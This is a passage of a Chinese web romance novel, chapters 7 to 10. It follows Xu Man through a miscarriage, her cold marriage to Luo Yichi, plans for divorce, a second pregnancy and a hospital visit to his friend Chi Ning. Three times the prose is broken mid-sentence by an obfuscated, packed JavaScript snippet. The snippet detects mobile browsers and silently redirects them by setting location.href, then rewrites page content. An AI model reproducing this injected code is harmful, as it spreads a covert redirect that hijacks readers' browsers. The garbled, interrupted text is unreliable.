《不心动罪名[追妻火葬场]》 7. 第 7 章 疼。 腿疼,膝盖疼,屁股疼,胳膊肘疼。 疼得起不来。 佣人们听到动静,忙跑过来将许满扶到客厅,消毒擦拭抹药一通折腾。 等许满缓过劲儿来,觉得能走了,扶着腰,一瘸一拐的上楼,去换衣服。 房间里没开灯,骆亦迟还没起床,听见她回来,还很诧异。 “不是去面试吗?怎么回来了?” “衣服湿了,换一下。” 骆亦迟“嗯”一声,继续把头埋在被子里,没问许满衣服为什么湿了,更没往许满这里看一眼。 许满换好衣服再下楼,大理石台阶上铺了一层防滑垫。 司机老张听说她摔倒的事,直接将车开了进来,等在台阶前。 大雨还没有停。 许满被佣人扶着,小心翼翼走下台阶。 坐进车里,老张问她:“许小姐,你没事吧?” 其实挫伤挺严重的,尤其膝盖,皮下积了鸡蛋大小的一片淤血,不小心碰到,疼得斯斯直抽气。 许满回答老张:“我没事。” 车子驶出老宅,汇入车流。 雨天路况多,一路走走停停,驶上高架,已经是半小时后。 雨滴拍打着车顶,发出清脆的声响,传进密封良好的车厢里,那脆响又变得闷闷的,像隔空敲打在人的耳膜上。 许满弯腰,双手紧紧按着小腹。 不知道怎么回事,肚子疼得厉害。 这种疼不同于以往的痛经疼,像是有人在用力拧她的肚子,一次比一次用劲。 许满受不住,弯下腰,额头几乎贴到了膝盖上。 老张从后视镜里注意到,问她:“许小姐?您怎么了许小姐,是晕车了吗?需不需要我停在路边您休息休息?” 许满双眼紧闭,额上布满细密的汗珠,疼得无法说话,“不是,我,我就……肚子疼。” 老张闻言脑子极速一转,回想最近的洗手间在哪里,“前面有一幢写字楼,需要我路边停靠一下吗许小姐?” 许满勉强抬头,往车窗外看了一眼,常年坐地铁,她对地面上的标志建筑物比较陌生,一时判断不出这是哪里,距离要去的大学还有多远。 “还有多长时间到啊?” 老张凭借丰富的经验判断,“按照今天的路况,不下高架的话,预计还有半个小时。” 半个小时,应该能撑下去。 许满强忍着疼痛,“我不需要去卫生间,你继续开车吧,千万……不要迟到,先……先到了再说。” 老张不说废话,用力一踩油门,车身在雨中飙起一阵水雾,超过前方车辆疾驰而去。 许满用力揉着小腹,频频侧眼看行车显示屏上的时间,偏偏这时候,时间走的极为缓慢,每跳转一个数字,仿佛都有一个世纪那么长。 疼痛一波接着一波,不断加剧。 她的身体弯成了一只虾米,仿佛这样,才能在一波又一波的阵痛中得到一丝缓解。 不知过了多久,车子终于驶入校园。 几乎是老张将将将车子停稳,许满便迫不及待的打开车门,一脚踩着积水,踏了出去。 刚一起身,下身顿时涌出一股暖流。 许满低头一看,一片殷红在腿间散开,染红了她浅色的裤子,那颜色是如此刺眼,让她的大脑瞬间一片空白了。 剧痛再次袭来,比之前更加猛烈,似要将她的身体从中间撕裂开来,不达目的誓不罢休。 许满弓身,嘴唇咬得发白,却仍然无法抑制从身体深处传来的痛苦。 她右手扣抓着车门,指节因为用力而变白,才勉强支撑住自己的身体没有倒下。 此刻的她已经十分清楚,这具身体到底发生了什么,肚子里的这个孩子恐怕是留不住了。 这个认知仿佛让疼痛更加肆无忌惮,许满死死支撑着身体,想要往前。 至少,至少保住一个…… 笔试,政审,体检,都过了,就只差最后一步面试了…… 时间还来得及,只要处理完最紧急的,就都还来得及…… 许满囫囵扫视了一眼教学楼,顾不上跟老张道谢,急切的奔去寻找卫生间。 然而脚才踏出去没几步,疼痛忽地达到了前所未有的程度。 剧痛像铺天盖地的潮水,朝着许满扑面而来。 许满浑身的感知仿佛都集中在了肚子上,肉身被蛮横绞紧到了极致,呼吸都变得异常艰难。 她一手撑着腰部,一手无力举着伞,双腿不受控制渐渐弯曲…… 视线开始模糊。 黑暗从四面八方袭来,妄图吞噬她的意识…… 她极力支撑,然而只来得及听见老张焦急的呼唤:“许小姐……,许小姐!” 下一秒,意识消失,许满倒在地上,什么都听不见了。 再次醒来,是在医院的单人病房里。 疼痛感消失了,手机不在旁边,不知道现在是什么时间。 外面的雨停了,车轮碾过积水的柏油马路,水花被溅起,发出“哗哗”声响。 病房里静悄悄的,除了她,没有第二个人。 走廊里有人在说话,谈话内容通过未关紧的门缝,一字不落的进了许满耳朵里。 “怎么这么不小心?那么大个人了,走路不会看?摔个跤都会把孩子摔没了?” “当初我就说婚礼别着急办,未婚先孕这么不光彩的事儿,悄悄领个证得了,以后还能悄悄的离,你爸非不同意,说什么要给许满一个安心,现在倒好,证领了,婚礼也办了,孩子却没了。” “孩子说有就有,说没就没,到现在我都没见过产检单,也不知道是不是你的。” 骆亦迟听得头疼,“妈,你小点声吧,许满还在睡觉呢,别一会儿吵醒她了。” “好好好,我不说了,我才刚确诊高血压,再说血压该控制不住了,你在这里守着吧,我去外面透透气,放了柠柠鸽子我还没给柠柠说呢。” 脚步声渐行渐远,走廊里重新恢复安静。 许满大大的眼睛望着天花板,双眼空洞茫然。 吱呀——,有人开门进来。 骆亦迟看见许满睁着眼,大步迈到床边,俯身凑近她:“你醒了?饿不饿?” 许满眼珠子机械的转了转:“几点了?” “下午两点。” “已经两点了……”眼睛里涌上泪花,许满说:“我流产了,对吧?” 骆亦迟把头缓缓垂下,没有说话。 其实刚才杜曼玲已经在走廊宣布了这个事实,但许满总还抱着那么一点希望。 万一呢,万一有奇迹? 可骆亦迟无声的回答告诉了她这个残酷的真实。 许满面如死灰,身心俱创,拿被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14427776|153792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子蒙住头,企图不去面对。 泪水悄无声息的滑落,她无比痛恨自己的无力,无能。 无力没撑住,晕倒在了考场前。 无能没保护好孩子,让他意外离去了。 懊恼与自责,失落与无奈,齐齐将她吞没。 她不断责问自己,为什么,为什么都没有了?却问不出答案,在一滴滴眼泪中,小声的啜泣起来。 …… 许满肚子里的组织没有流干净,还需要做手术清宫。 手术安排在第二天早上。 骆亦迟和杜曼玲在医院陪她。 杜曼玲安慰许满,失去孩子不要紧,身体没事就是万事大吉,安慰着安慰着,竟然哭了起来,好像心疼女儿似的,差点让许满当了真。 手术之后,许满出院了。 临近毕业,还有很多事情要做。 许满回了学校。 同学问她:“复试怎么样?过了吗?” 许满扯出一个极浅的笑,云淡风轻的回答:“没过。” 同学吃惊,问许满缘由,许满苦涩的摇摇头,不说话了,同学便也知趣的不再问。 那之后,许满的精力都投在了毕业论文上。 她和骆亦迟各忙各的,周末的时候,骆亦迟会约上她,一起回老宅。 他们结婚的消息没在同学圈里传开,但有人眼尖的发现,没有交集的两个人,这学期开始有了接触。 每当许满被问起和骆亦迟的关系,她都笑眯眯的把问题抛回去:“你觉得我们是哪种关系?” 任由同学们胡乱猜想,不做回应。 许满的心情在一天天变好,错过面试和意外流产的双重痛苦,在忙碌的毕业季里,慢慢被时间冲淡了不少。 学期结束,她以优秀毕业生的身份毕了业,还收到了一家策划公司的offer。 毕业典礼那天,许满收拾好行李,给许晋文发了一条消息。 【爸,我毕业了,也找到工作了,你身体还好吗?】 过了好久,久到许满都快忘记自己发过消息,许晋文的回复才姗姗来迟: 【好,都好,满,快七个月了吧?多吃点好的,家里的鸡下蛋了,都给你存着呢,等生了,爸就给你送过去啊。】 许满的眼泪刷的一下流了下来。 时隔半年,许晋文终于消了气,肯跟她说话了。 她默默地哭,哭够了,擦干眼泪,敲了两行字回过去。 【好。】 【爸,我想你了。】 许满拖着行李告别了校园。 她犹豫是去骆家老宅住,还是租房子住。 骆亦迟适时送给她一把钥匙,“毕业后住老宅不方便,我爸在市中心给咱俩买了套大平层,房子里都装点好了,家具和生活用品一应俱全,我们直接拎包入住就行,要是没什么安排,我带你去看看?” 许满欣然收下钥匙,说:“好。” 两人住进了市中心的大平层。 骆亦迟进了家族企业,许满去策划公司上班,两人双双步入职场,早上一起出门,晚上先后回家,闲下来一起做做饭,种种花。 日子过得朴实平淡,幸福安宁。 直到去池柠家里做客,许满发现了同款的栀子花味洗发水。 安稳的生活布起乌云,在看似平静的表面下,悄悄地,掀起了第一道风浪。 8. 第 8 章 早上八点,许满准时醒来。 昨晚揭了骆亦迟的隐秘心事,骆亦迟没做任何解释,借口处理工作,晚上去了书房睡。 这几日许满经常失眠,关了灯躺床上睁着眼睛慢慢数羊,数到一万多只,骆亦迟轻手轻脚的开门进来,不发声响的躺在了她身侧。 后来什么时候睡着的,许满不记得,只知道早上醒来时,身侧已经没有了人,被子叠得整整齐齐,仿佛昨晚没人来过一样。 可能已经去公司了吧,许满心想。 许满本来也有工作的。 去年大学毕业后,她去策划公司做了策划助理,助理的工作内容很杂,主要是跟在策划师后面打下手,一起策划布展。 许满兴致勃勃的做了三个月,转正第一天,本着学习的心态,跟了一场规模很大的婚礼策划。 那天,她穿着工作服,抱着一大束花,跟着策划小姐姐一起做现场花卉的布置。 突然,一个打扮光鲜亮丽的年轻女子从后面拍了下她的肩膀。 “许满?你是许满吧?骆亦迟的老婆那个许满?”那人惊奇的瞪大眼睛,像发现新大陆似的说。 许满不认识这个看起来很有钱的漂亮女子,礼貌问道:“你好,请问你是?” 女子说:“真的是你呀,我是孙若若,你忘了?你和骆亦迟的婚礼我还参加了呢,哎你怎么穿着工作服,你是在这里上班吗?那这么说,我的婚礼场地还是你亲手布置的呢!对了,我的婚礼请帖你收到了吧?前几天就发给骆亦迟了,他应该告诉你了吧……” 孙若若,这场婚礼的女主角。 骆亦迟是说过最近要带她参加一场婚礼,但没说是谁的,也没说在哪里举办。 许满摆出很温和的笑,“嗯,他跟我说过了,新婚快乐呀,孙小姐。” 许满本以为这就是一场再普通不过的相遇,普通到,过一阵子就会忘记那种。 然而第二天傍晚下班后,骆亦迟带她一起回老宅吃饭,骆亦迟去停车,许满提着刚买的水果先进去。 刚踏上大理石台阶,还没进门,就听见杜曼玲阴阳怪气的抱怨。 “娶了这么个贫家女,我已经够忍气吞声了。我们家好歹比那老孙家强了不少倍吧,他们家当初想跟我攀亲,我没同意,结果倒好,自己家的儿媳妇现在还要给人家女儿的婚礼服务,我这脸皮都没地儿搁了!” “这种乡野丫头就是鬼心眼多,为了嫁进豪门,不知道使了什么手段怀上了我们家的孩子,幸亏老天有眼,让那孩子流了,不然以后啊,整个连城都知道我儿媳是这么个出身,我在这太太圈里都抬不起头来。现在,老骆家儿媳给老孙家女儿婚礼做服务员的消息已经在连城太太圈里都传开了,骆彦怀,你说下周这婚礼我是去还是不去?” 不知是不是骆彦怀听不下去了,开口训斥道:“少说两句吧,都是一家人,不为一家人说话,传出去不更让人笑话?” 许满还在听,这时,大厅门突然从内打开了。 骆彦怀抓着门把手站在门口,一看见许满,顿时尴尬。 许满装作才来的样子,扬起一个看起来称得上勉强的微笑,“正要开门呢,爸你就出来了,骆亦迟去停车了,一会儿就过来,这是我和他一起买的水果,听说妈喜欢吃,特意买的。” 那天晚上的家宴,许满几乎没说话。 等晚上回到他们自己家,洗漱完躺在床上,骆亦迟委婉对她说,“策划的工作累不累?累的话我跟我爸说说,在公司里给你找份闲职?” 许满反问:“你家公司里有什么工作适合我呢?” 骆亦迟家里是做制造业生意起步的,互联网兴起之后,乘着互联网的翅膀,一路飞升,成为了国内一家知名的电子设备制造企业。 许满学的是园林专业,这个跟电子、科技、互联网,八竿子打不着的专业,不知道进骆家的公司里能做什么。 骆亦迟思索:“行政?或者人事?” 许满还是想拥有自己的事业,不靠别人,靠自己那种,想了想,说:“现在的工作我做得挺开心的,公司领导很赏识我,说我布展布得很漂亮,客户无一不夸的,每次发工资都会把我的奖金拉满,我助学贷款都还了快一半了,目前还不想换,等我想换了你再安排吧。” 这件事情许满只当做是生活中的一个小插曲,没当成一件正经事儿看待,事后依然回策划公司上班。 变故发生在半个月后。 孙若若对许满公司做的这场婚礼策划非常满意,想在婚后找点事做,有个工作傍身,提出了收购他们公司的意愿。 公司业务和员工一起打包,开价高的离谱,老板做做样子推诿了几番,隔天便答应了。 这事儿传到了杜曼玲耳朵里,杜曼玲期期艾艾的给许满打来电话,委婉劝说许满离职。 “小满啊,我知道你很优秀,有梦想,也有追求,是个有主见的孩子。我一直都很欣赏你,也器重你,把你当作自家人看待。但这次不一样,你得为骆家考虑一下啊,骆家的儿媳去给老孙家的女儿打工,这说出去多难听?不仅是你,整个骆家的脸面都会陷入尴尬的境地,会被人取笑。小满,我们家不缺钱,你不需要为了工作而工作,退一步讲,你即使不工作了,我们也养得起你。” 话已经说得够明白了,许满再不懂事,也不可能不放在心上。 赶在收购合同正式签订之前,为了所谓的骆家的脸面,许满万般不舍的办了离职,回家安心等骆亦迟给她安排工作。 但她不想做行政,也不懂人事,骆亦迟便承诺她,让她先在家等着,有合适的岗位了,再推荐她进公司。 但后来,不知道是忘了,还是没放在心上。 许满这一等,就等到了现在。 . 许满今天约了律师,吃完早饭,便出门了。 她没开骆亦迟送她的那辆车。 许满习惯坐公交或者地铁,方便之余,还能看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14427777|153792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看沿途的风景,听听形形色色的人说话聊天,这种感觉让她觉得亲切且真实,仿佛不再是孤独的一个人,而是一个拥有朋友,拥有温暖和陪伴,拥有爱与被爱的幸福之人。 公交车晃晃悠悠,在一幢高级写字楼前停下。 许满下了车,找到律师事务所所在的楼层,在前台登记后,被引到了一间办公室里。 办公室里没人,许满等了一会儿,几分钟后,一个精英打扮的短发女子端着两杯咖啡走了进来。 她将一杯咖啡放在许满面前,跟许满握手,温和一笑,“许女士您好,我是林逸。” 几天前,许满萌发了要离婚的念头,便在网上几经搜索对比,找了一家口碑很好的律所咨询。 林逸是律所的金牌律师,也是那次许满咨询的律师,据说经她手的离婚官司,几乎没有不胜利的。 几句寒暄后,进入正题。 基本情况已经提前沟通过,林逸秉着公事公办的态度,先跟许满说了相关的法律条款,和过程中可能遇到的问题,然后给出结论,她和骆亦迟之间结婚时间短,没有孩子,涉及的主要问题就是财产分割。 许满摩挲着无名指上的戒指,一心求离:“我不想闹得太难看,只要能离就行,别的,没想那么多。” 林逸惊讶:“您的意思是,您不在乎财产分配的多少?” 许满苦笑:“可能是因为内心清楚,这所有的一切,本来就不是给我的吧。” 林逸耐心说:“我尊重您的想法,但是既然我们启动了法律程序,那我们就按照法律的要求来,好吗?许女士。” 从律所出来,已经中午了。 许满在街边饭馆里吃了饭,出来时,看见一家药店。 最近的睡眠质量很差,总是想睡睡不着,导致白天神思恍惚思维迟钝,许满便想买点助眠药来吃吃,调理调理睡眠。 进了药店,没看见店员,许满朝里喊:“有人吗?我想买药。” 柜台的电脑屏幕后钻出来一个身穿白大褂的店员:“买什么药?哪里不舒服?” 许满:“最近睡不好,想买点助眠的药物。” 店员埋首在电脑前敲敲点点,头也不抬,“失眠吗?除了失眠还有其他什么症状?” 许满想了想,老老实实道:“晚上睡不着,白天又犯困,还不想吃东西,有时候还会胡思乱想,浑身乏力,头晕倦怠……” 店员听完,抬起头,狐疑的将她打量了几眼:“怀孕了?” 许满:“啊?没有吧?” 店员:“例假多久没来了?” 许满皱眉,回想起上次例假的时间,好像已经过去四五十天了,一时怔住,迟疑道:“不可能吧?我没有恶心想吐啊。” “不是所有的妊娠反应都会恶心想吐。” 店员从柜台后面拿出一盒验孕棒,丢在收银台上。 “一盒也不贵,先排除一下吧,如果不是,我再把助眠药卖给你。” 9. 第 9 章 验孕棒上显示两条杠。 许满没有丝毫准备,蹲在卫生间里,懵了。 怎么又怀孕了? 老天在给她开什么玩笑? 她深吸一口气,花了好长时间让自己冷静下来,同时理智思考,接下来该怎么做?要不要让骆亦迟知道? 以及,这婚还离不离? 矛盾的想法充斥在脑子里,许满心不在焉的把验孕棒收好,从洗手间里出来,打车去了最近的一家医院。 下午人不多,挂号问诊都很顺利,许满做完检查拿着结果去找医生,医生说:“有六周了,但目前还只是孕囊阶段,过一周后再来检查。” 如果孕囊发育正常,下周就会发育出胎芽,再之后长出胎心,有了胎心就可以听到胎儿心跳了。 咚,咚,咚,咚,要比大人的心跳快。 曾经许满听过一次,后来一直忘不了初听时带来的惊喜。 现在想幻想着那个有趣的画面,许满莫名有了些期待,觉得这是一件好事,阴郁的心情像是窥见曙光,稍微好转了一点。 她乐观的想,这次怀孕,或许是她糟糕生活的一个转机也说不定。 跟医生道完谢,许满拿着报告回了家。 不知道今天骆亦迟几点下班,昨晚揭穿他的隐秘心事之后,两人一直冷战到现在,一句话都没说过,连电话消息都没打一个。 许满现在心情还算不错,思来想去,还是认为骆亦迟有权利知道她怀孕这件事,决定把这个好消息分享给他。 算给彼此双方一个台阶下,各自不计前嫌,把先前的不愉快都揭过去。 她把验孕棒放在骆亦迟睡觉那边的床头柜上,希望骆亦迟一进卧室就能看见,然后骆亦迟发消息: 【今晚几点回来?】 消息发过去,许满便进厨房忙活了。 等再出来,收到骆亦迟回复。 消息发送在两分钟前:【晚点。】 具体晚到几点,骆亦迟没说,但许满要计算炒菜的时间,于是追着问:【大概几点呢?我买了点肉,晚上炒几个你喜欢的菜,顺便还有个好消息要告诉你。】 骆亦迟没及时回复。 许满放下手机,又进了厨房。 择菜,洗菜,切菜,一番准备功夫做完,重新拿起手机一看,最新消息还停留在自己发出去的那条。 可能在忙吧,许满想。 以往骆亦迟加班的话,会在十点左右回来,九点半,许满去把菜一一炒了,炒完清洗了灶台,清洗完时间还早,又去客厅搞了卫生,搞完卫生再看时间,十点十分了。 骆亦迟没回来。 等人的时间无聊,许满打开电视,坐在沙发上一边换着台,一边等骆亦迟回来。 十点半,骆亦迟还没回来。 许满点开和骆亦迟的对话框,最新消息还是自己那条。 这么忙? 十点五十,许满给他打过去电话。 电话响了半分多钟,快挂断的时候,终于接通了。 “等会儿,在忙。” 骆亦迟的声音听起来有刻意压低过。 许满以为他这么晚了还在开会,便说:“那你先忙吧,饭做好了,你回来我再热热。” “好。” 刚准备挂电话,突然,一个陌生女人的声音闯进了听筒里,“骆先生,抱歉能打扰你一下?” 许满敏锐的提起警觉:“谁在叫你?” 如果是公司的员工,会称呼骆亦迟“骆总”,或者“小骆总”;比骆亦迟辈分大的,会叫他“小迟”。 没有人会叫他“骆先生”,这是一个属于陌生人之间的尊称。 这表示,骆亦迟不在公司里,而是在别的地方。 许满紧接着追问:“你在哪里?” 那个陌生女人的嗓音伴随着高跟鞋踩地的哒哒脚步声,在听筒里越来越清晰:“骆先生,能不能拜托你今晚帮我照看一下池柠,我女儿她还在发高烧,我得回去看看……” 骆亦迟转头对着话筒对许满匆匆道:“一会儿回你电话。” 手机那头传来冰冷的挂断提示音,许满措手不及,举着手机,心凉了半截。 又在池柠那里? 一腔热情被兜头浇灭,彻彻底底冷却下来。 望着桌上摆放整齐的饭菜,许满忽然觉得讽刺。 她为什么会觉得,因为一个孩子,骆亦迟就会浪子回头,会对她回心转意? 还兴致勃勃的做了一桌子菜,等着他回来,告诉他这个好消息? 她一个半路杀出来的陌生人,不过是和骆亦迟一起生活了一年多的时间,怎么就认为,可以比得过从小一起长大的青梅竹马? 她这是哪里来的自信? 她在天真什么? 她早该知道如此,早该认清自己的身份! 许满强制闭上眼睛,努力平复内心翻腾的波澜,不断说服自己,认清这个现实:骆亦迟就是这样的人,就不应该对他抱有任何期待,没有期待,就没有失望,没有失望,自己就会过得开心一点。 许满花了很长时间让自己平静下来,她把冷掉的饭菜用保鲜膜封好放进冰箱,然后回到卧室,拿起验孕棒扔进垃圾桶,一头栽倒在了床上。 不知过了多久,客厅传来开门的声音。 有人拖沓着脚步,在客厅里转悠了几圈,推开了卧室的门。 许满听到声音,爬起来靠坐在床上,一抬眼,冷不丁对上了骆亦迟的目光。 空气有一瞬间的凝滞,骆亦迟愣怔了几秒钟,开口了。 但那声音听起来却有三分紧张,七分冰冷:“我给你打电话为什么不接?” 许满收回目光,转身留给骆亦迟一个背影,“睡觉呢,开了静音。” 骆亦迟缓缓吐出一口气,声音听起来放松了不少:“我以为你出事了。” 许满冷笑:“我能出什么事?” “没出事就好。” 骆亦迟无视许满的别扭,脱下外套,径自走进来,“你不是说有好消息要告诉我?什么好消息?” “没有好消息,你记错了。” 骆亦迟在手机翻出那条短信,又看了一遍,确认自己没记错,“晚上九点半的时候,你不是给我发了消息,还说炒了几个我喜欢的菜,这难道不是在庆祝?” 许满拉过被子,蒙在头上,还是那句话,“没有好消息,那是为了让你早点回来,编出来骗你的。” “没有好消息,也没有好吃的菜呢?我还没吃晚饭。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14427778|153792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“本来有,后来没吃完,倒了。” 骆亦迟皱眉,郁闷看着床上的人,不知道哪里又惹着她了,说话夹枪带棒,表情看起来也阴阳怪气的。 难道今天是什么比较重要的日子?他给忘记了? 骆亦迟又翻出日历,把过往那些重要日子全都在脑子里回想了一遍,发现既不是谁的生日,也不是某个特殊的纪念日,除了前天是二十四节气之一的大暑之外,今天是个风和日丽,鸟语花香,普普通通,再寻常不过的一天。 没有得到答案,骆亦迟眉头蹙得更紧,又见许满一副不想回答的样子,连追问的机会都不给他,干脆不问了。 此时已经是后半夜,凌晨三点多,骆亦迟洗完澡,挨着许满躺在了床上。 关了灯,谁都没说话,窗外的车水马龙碾过马路,奏出低低的催眠白噪音,听得人昏昏欲睡。 但许满眼睛却睁得大大的,分外清醒。 被子摩擦发出声响,骆亦迟翻了个身,慢慢贴向许满。 “你今天怎么了?”他问。 许满背对骆亦迟,一动不动,“没怎么。” 骆亦迟便凑上来,轻轻环住她,压低声音说:“既然没怎么,那为什么不搭理我?刚才回来到现在,你看都没看我一眼,是不是我又哪里做得不对,惹你生气了?” 许满拉了拉被子,将自己裹紧:“我在思考一个十分深奥的难题,顾不上搭理你。” “什么深奥的难题?说出来,没准我能给你答案。” “你确定吗?万一你给不了我想要的答案呢?” 骆亦迟把脸埋进许满颈侧,鼻尖一下一下蹭着她细腻的肌肤。 “你不说,怎么知道我给不了答案?” 黑暗中,许满弯起嘴角。 “既然你求知欲那么旺盛,那我告诉你好了。” 骆亦迟洗耳恭听。 “我在想,如果啊,我是说如果。” 许满停顿了两秒钟。 “如果我和池柠同时掉河里了,你先救谁?” 骆亦迟身体一僵,一颗心被猛的提到嗓子眼,后知后觉恍然大悟,许满今天到底在别扭什么了。 “你生气是因为池柠?”他肯定的问。 许满不语。 骆亦迟讪讪解释:“我今天没想去看她的,是她经纪人给我打电话,说她收到了一些黑粉寄来的礼物,吓坏了,状态很不好,我才过去的。” “经纪人不给她男朋友打电话?给你打?” “他们分手了,今天白天才分的。” “那你应该很开心啊,终于能顶上去了。” 骆亦迟沉下脸,松开环在许满腰间的手,翻身平躺,望着黑漆漆的天花板,道:“许满,你说话太难听了。” “我还有更难听的,你想不想听?” 不管骆亦迟想不想听,许满自顾自说了。 “池柠这是换了第几任男朋友了?我数数啊,一,二,三……光我知道的就三个。骆亦迟,你舔了她那么久,怎么还没轮到你?是不是舔的不够到位?” “哈哈,”许满发出无情的嘲笑声,“原来我老公是犬系的。” “许满!”骆亦迟忽然拔高声音。 “别吵,我要睡了。”许满说。 10. 第 10 章 一周之后,许满去医院做了第二次产检。 检查内容跟上次差不多,拿到报告后,许满对比了上次的结果,发现没差多少。 她心里产生一种隐隐的担忧,带着报告去问医生,医生告诉她:“有胎芽了,但是HCG数值没有太大变化,再等等看看。” 按照正常孕周估算,这时候的HCG数值早该翻倍了,许满不放心的追问,“我这个……是不是发育得不太好?” 医生推了推眼镜,“别那么悲观,再等等看吧,有的胚胎着床晚,发育比较慢,也是有可能的。” “好吧。” 结束面诊,许满回去,路过熙熙攘攘的一楼大厅听见,有人在争吵,吸引了很多来往的人。 许满好奇的往人群扎堆的地方探头张望,见是保安拦着几个扛摄像机的人,不让他们进。 “这里是医院,想要采访去有关部门申请!” “还有没有王法了,我都挂好号了,你还不让我进,出事了你负责吗?” “不让进就是不让进,除非你把摄像机放下……” 记者一味的往前挤,保安拼命地拦,几句话车轱辘来车轱辘去的说了好几遍,最后保安仗着人多,把记者给轰走了。 一个瓜没吃熟,只吸溜了几口没滋没味的淡汁儿,许满颇没意思的摇摇头,打算离开。 刚抬脚,旁边两个一起凑热闹的小姐妹在聊瓜,许满留心听了一耳朵。 “你听到了吗?刚才那几个狗仔说,池柠来医院了,真的假的?” “你知道的,我宁可相信狗仔的马赛克图,也不相信明星们谎话连篇的死鸭子嘴。” “这么说是真的?她们这种有钱人,不应该去安保措施更严的私立医院吗?怎么还来公立医院排队?” “你快看热搜。” “我去!竟然是真的!三楼精神科专家门诊,有人拍到照片了!” 听到这里,许满也拿出手机登上社交媒体软件,一看,池柠果然挂在热搜上。 热心网友附了一张从诊室里出来的照片。 池柠身穿休闲服,戴着宽檐帽,黑色口罩从眼底一路拉到脖子下面,虽然遮得严严实实,但许满还是一眼认出来,这就是池柠,并且所在的地方,正是自己此时身处的医院。 照片是一个小时前上传的,许满不确定池柠走了没,本着关心的态度,给她打了个电话。 一个陌生小女生接起电话,声音听起来怯怯的,“喂?” “池柠?”许满不确定。 “啊,您找柠姐啊,柠姐不舒服,正在休息呢,请问您有什么事吗?” 许满没听出这个声音是谁,问道:“你是谁?” 电话那边磕磕绊绊的说:“我是柠姐新招的助理,您叫我小栀就好了。” “哦,小栀啊,池柠怎么了?我看新闻说,她在医院,在哪个医院,我去看看她。” “您稍等啊,我问问柠姐的意思。” 过了一会儿,小栀的声音重新传来,“柠姐说,您可以来看她,我们在住院部九楼,我去电梯口接您。” “怎么住院了?” 小栀支支吾吾,“情况比较严重,您来了就知道了。” 十分钟后,许满到了住院部九楼。 电梯门一打开,许满看到一个圆脸带笑,酒窝明显的小姑娘。 小姑娘顶着一头羊羔卷,在满满一电梯的人里精准锁定了她,葡萄似的眼睛溜溜圆,“您就是许满姐吧?柠姐说,瘦高个子,长头发鹅蛋脸,长得最漂亮最有气质最有文化的那个,肯定就是你了,您好,我是小栀。” 许满暼了眼自己清汤挂面似的头发,和灰色开衫白色长裙的搭配,被那三个“最”给臊了一下。 “你柠姐形容起人来,还怪夸张的。” “许满姐,这你可冤枉柠姐了,柠姐一点都没夸张!” 小栀将许满带到了一间装修不错的VIP单间病房? 池柠穿着病号服,正坐在窗边在看剧本。 听见门响,她转过头来,扬起未施粉黛的素脸,微微一笑,“这么快就来了,你看我,都没化妆,让你见笑了。” “身体不舒服来医院看看,听说你在,就顺便来了。” 许满把刚才从住院部楼下便利店买来水果放在桌子上,漫无目的的打量了一眼病房,进来时她留心看了一眼,这里归精神心理科管辖:“怎么好端端的住院了?” 小栀给许满倒来一杯水,“柠姐,你们聊,我去看看报告好了没。” 说完,带上门出去了。 池柠放下剧本,“这阵子心情一直不好,戏都没法拍,公司建议我来医院看看,这不,一看,确认抑郁症了,还得住院,早知道不来看了。” 许满一惊,池柠竟然得了抑郁症? 抑郁症到住院的程度,那说明挺严重了。 “因为什么呢?跟前男友分手吗?” 池柠苦笑:“当然不是,算是……很多原因吧。” “骆亦迟知道吗?” “不知道他知不知道,我这个弟弟啊,最近麻烦他够多了,但愿他不知道吧。” 池柠说话的时候跟往常没什么两样,轻轻快快的,看不出来任何抑郁的影子,但是仔细一看,那眼神却黯淡无光,死气沉沉,像一口干涸空荡的枯井,里面似乎装着看不见、摸不着的悲伤。 “你呢,你哪里不舒服了?也来医院。”池柠不想讨论自己,将话题引到许满身上。 许满摸了摸小腹,“肚子不舒服。” “肚子不舒服?怀孕了?”池柠玩笑道。 许满忙摆摆手,喝了口水,紧张的掩饰,“啊,不是,估计就是肠胃炎。” “那看来,我当姑妈的想法又破碎了。”池柠听起来很失望,“话说回来,你和小迟结婚都一年了,还没计划要宝宝吗?” “这事儿讲究缘分,随缘吧。” “对,随缘吧,我都不敢想象骆亦迟那个幼稚鬼当了爸爸是什么样子,肯定会做很多出糗的事,说不定尿布都不会换,哈哈哈哈……” 许满尴尬的跟着笑,不知道该怎么接话。 池柠笑完,又满腹心事的托起脸,“其实晚点要宝宝也好,小迟这个人,别看他都结婚了,在外光鲜亮丽的,还领导大半个公司,其实内心还跟个孩子一样,幼稚鬼一个,长不大,让人操心得很。” 